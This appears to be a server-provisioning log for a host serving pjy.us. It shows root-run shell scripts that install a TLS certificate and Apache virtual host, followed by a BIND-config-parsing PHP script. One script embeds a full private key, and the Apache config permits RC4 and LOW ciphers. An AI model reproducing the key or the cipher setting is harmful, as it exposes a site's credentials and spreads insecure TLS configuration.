MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-09-04 14:50:31: Establishing a connection
2025-09-04 14:50:32:
PUT: /tmp/pkp418280
#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb
cat > $temp_file <<'endmsg'
2c:1c:d9:0e:ff:26:70:65:c0:96:6b:db:fd:d2:a5:8e
-----BEGIN CERTIFICATE-----
MIIE8zCCA9ugAwIBAgISBdmqjnn4RzZE5xdPxsKMhlaeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODIyMTAzNDU4WhcNMjUxMTIwMTAzNDU3WjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDR38C2D8pN
cOGf4ABpumgT0USFP+tBM1GP7/D9ZDs2/SlGKM280r3Xugphezifr9bQlUXxji6A
prVeYhzf8tylnhQgJoCCB57yTkq9kHrRUnNxmctRS8gfZ3PxlapX9kM0zvvqVPLr
Xs7riGVmqwD66S4ccqrDgCwCd8up+TCaB9J1EaiIUCE1PMfgvrd+T4Mc8t2s3Nsw
6nlZSINaSwBLuKJ+2BYLXlN8cp6oBsXLzP1dJupGe8cCElOVs1lPTtaSE/Kv8cNx
gWo0eqLoSRT1edtrX50Y6kkCbwDSuZR0/0lq79jn6lz9eEFHmVjhVhFgxA0vcIhS
PXNePkmCLUwtAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFKMz
TuhAcQcBG3MTBcu9viDdhe7OMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA47
1pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzMxLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AA3h8jAr0w3BQGIS
CepVLvxHdHyx1+kw7w5CHrR+Tqo0AAABmNGOHNMAAAQDAEcwRQIhANYLmh74t6Wk
dz2dLTN5jKXUBZ8FszaO22mOVvzbbqG8AiB72iTREsxRqcxcrNP9wVJu76hM3Q/+
TrXKJVmnU9BD7wB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAAB
mNGOHPAAAAQDAEgwRgIhAPGltw8ObOufb/mBkfyqUS+crsD0Z+uiL6S4gfEJqPEw
AiEA5mR9InW03xbl6cu+xOsa/evOm8hdJIZ6CF8Px07kiw4wDQYJKoZIhvcNAQEL
BQADggEBAGPU/oqHCGs3/8Qh1NdHxUkF+ufLeQbpQrvblbr9UcecJQHvHcqR4M+g
LmTnCpGsp3WOpYauH7kCesKucOTuZz7cgxlItsnR2WmIPlILLceR7vyUIdKYvLCi
c2Z/w6JkCYJa5IqnI37ogwE42EO3g8EPDG6Dz/bJBDBlaot2m7dM4bEoALWhQvD9
6ZHpcsICUXkUuWAgedNfeiTcg1FJ4JUbq9Boqto1l1Dh1uMOhy3jaWQ9CJ41YafQ
vfBlTj65EfPXgM8QZQquAx5Q5ZZo46ioiFgEC6J/O/3aSA4AynReE4wAWRpjTV9H
gocjnuxr+f7czyQl9RmcPf8MZuLh3gs=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDR38C2D8pNcOGf
4ABpumgT0USFP+tBM1GP7/D9ZDs2/SlGKM280r3Xugphezifr9bQlUXxji6AprVe
Yhzf8tylnhQgJoCCB57yTkq9kHrRUnNxmctRS8gfZ3PxlapX9kM0zvvqVPLrXs7r
iGVmqwD66S4ccqrDgCwCd8up+TCaB9J1EaiIUCE1PMfgvrd+T4Mc8t2s3Nsw6nlZ
SINaSwBLuKJ+2BYLXlN8cp6oBsXLzP1dJupGe8cCElOVs1lPTtaSE/Kv8cNxgWo0
eqLoSRT1edtrX50Y6kkCbwDSuZR0/0lq79jn6lz9eEFHmVjhVhFgxA0vcIhSPXNe
PkmCLUwtAgMBAAECggEAPgRmh+Ymm7etlHa26IdC1ghSvSVkOUIW6fe3OMlzjg5F
MgxAr3l+y86X3rJwyw9E5SIXJwgiybV5hshrS+oSNYZ+3/lApCvoViW4hEe7YzuA
DaOqpv1Dx7PkWREm4xNMTMCVRGuR1OeRMZx+ilYh1gMtsw5XU6n+V0RbFIEkUX9Q
8N2kylPbM4Bkr/SFTKHEhp3e6l8eZDu5Hc0CSkpFYif6IGzh43HLtZT+DK3ZjHyR
oEHUmb3hFPiPUQyeN8L026t9MQWiV9HjCrldvnD5/gKwJBq9tVLT0pp1Zj7UkED3
Ls9pd27tKloXIFxrEGiZzNGWUG3crxyVocNMoZEYaQKBgQD3rmpQ8rtnwXbALeod
3CzG2tezmSO/uQDrgoQN34QMeGlOJWgOHlFAOqVKrB+pz0MbBepTAeWgcNwotvyH
8jdFGI6ZglHauc/GKoHX6HkaTL5xwWpwE4z5Ecm0QlJjkCeqea+UWfAczP7zWanO
WDZU76152y/EBtvHGtr5HyI+iwKBgQDY7ERxGPF5t++xqhcFv/hdw2+dIeS4VYqS
E0hUtKSIzGQ8/8yWKJgEwDF6/AlKbwpYZwA/cj0fau8ZG9cArsvyd761JkpWXQ+k
qlcDGnqa1Z1uEY6Sdonzd5T8myJIW0qHOvqgT13w27JdXQIU9Fx88fSdMLfGvYZA
3fxOVvbvJwKBgQClNs7sWD3yI/bWksoMSQYFT41627gg94NJlbIInwQyXU/BNOqI
IGkKcxQ3D0G/v+V/bR61aBqIP0BcWFNzS3rauFrGw0ten3udMFWUdBn0FSUkNGSP
hjsPGXJ2r5bNmycabDlWt/eW/pdCNJk0b1supQIOusrN89U+pwdSDhaFqQKBgQCt
SOhPtI5KHp6SvX5QsI72UAYcbxPoESV2FYNFb1y0jxpQBEPpfBocSW/9f9LoLBYG
kpmHFXowW9sOose5Gul/Exs8WI8vuH2jnBOQPhnNEHIHmGzdIWaIIHHa7Q6Q4KSD
rKDDaUNxAf/VR1Q/awlrIlm3LFDSqVnS/cHsztnKJwKBgQDGuC44DdKYkMqD5Snv
MJaApWehkKUoOcGJPK6Y1dlzZBcyZG17i6sTJIDFd716ZtWVnfmDPEn/qMAEtXvp
WAGpdLYDNf1tIubpxchtmWqLgj7QxWCSAOWiXMR59YkTszVekhnv+famdac2XnBP
NozHPQRhmDJk7DdPb5zzcQxHeg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-04 14:50:33:
chmod 755 /tmp/pkp418280; /tmp/pkp418280; rm /tmp/pkp418280
2025-09-04 14:50:33:
dir=/etc/ssl/certs
2025-09-04 14:50:33:
PUT: /tmp/pkp336718
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_secure_access.log combined
ErrorLog /var/log/apache2/pjy/alive_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi
2025-09-04 14:50:34:
chmod 755 /tmp/pkp336718; /tmp/pkp336718; rm /tmp/pkp336718
2025-09-04 14:50:34:
/tmp/pkp336718: line 58: [: !=: unary operator expected
STDERR:
/tmp/pkp336718: line 58: [: !=: unary operator expected
2025-09-04 14:50:34:
PUT: /tmp/pkp705654
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-04 14:50:34:
chmod 755 /tmp/pkp705654; /tmp/pkp705654; rm /tmp/pkp705654
2025-09-04 14:50:34:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-04 14:50:35: Establishing a connection
2025-09-04 14:50:35:
PUT: /tmp/pkp323880
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-09-04 14:50:35:
runuser -l bind -s /bin/bash -c '/tmp/pkp323880; rm /tmp/pkp323880'
2025-09-04 14:50:35:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
